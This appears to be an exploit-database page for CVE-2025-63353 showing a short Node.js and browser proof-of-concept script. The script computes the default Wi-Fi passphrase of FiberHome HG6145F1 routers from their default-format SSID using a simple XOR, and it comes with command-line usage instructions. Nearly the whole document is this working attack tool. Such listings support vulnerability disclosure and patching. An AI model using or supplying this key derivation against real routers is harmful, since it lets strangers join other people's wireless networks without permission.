Exploit database

GH-4e3323472df1b940d2b0bf57ac7db6e0

zvckster/cve-2025-63353

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-63353

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
zvckster/cve-2025-63353Revision 7c493e0caaa5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/javascript/fh-poc.js

JavaScript · 892 bytes
#!/usr/bin/env node
/*
 * Works in Node.js and modern browsers (export `derivePSK`).
 */

const SSID_RE = /^fh_([0-9a-f]{6})$/i;

function derivePSK(ssid) {
  const m = SSID_RE.exec(String(ssid).trim());
  if (!m) return null;
  const hexA = parseInt(m[1], 16);
  const hexB = (0xffffff ^ hexA) >>> 0;
  return "wlan" + hexB.toString(16).padStart(6, "0");
}

if (typeof module !== "undefined" && module.exports) {
  module.exports = { derivePSK };
}

if (typeof require !== "undefined" && require.main === module) {
  const args = process.argv.slice(2);
  if (args.length === 0) {
    console.error("usage: node fh_psk.js <ssid> [<ssid> ...]");
    console.error("example: node fh_psk.js fh_a1f9d1");
    process.exit(1);
  }
  for (const ssid of args) {
    const psk = derivePSK(ssid);
    console.log(
      `${ssid}\t${psk ?? "not a FiberHome HG6145F1 default-format SSID"}`
    );
  }
}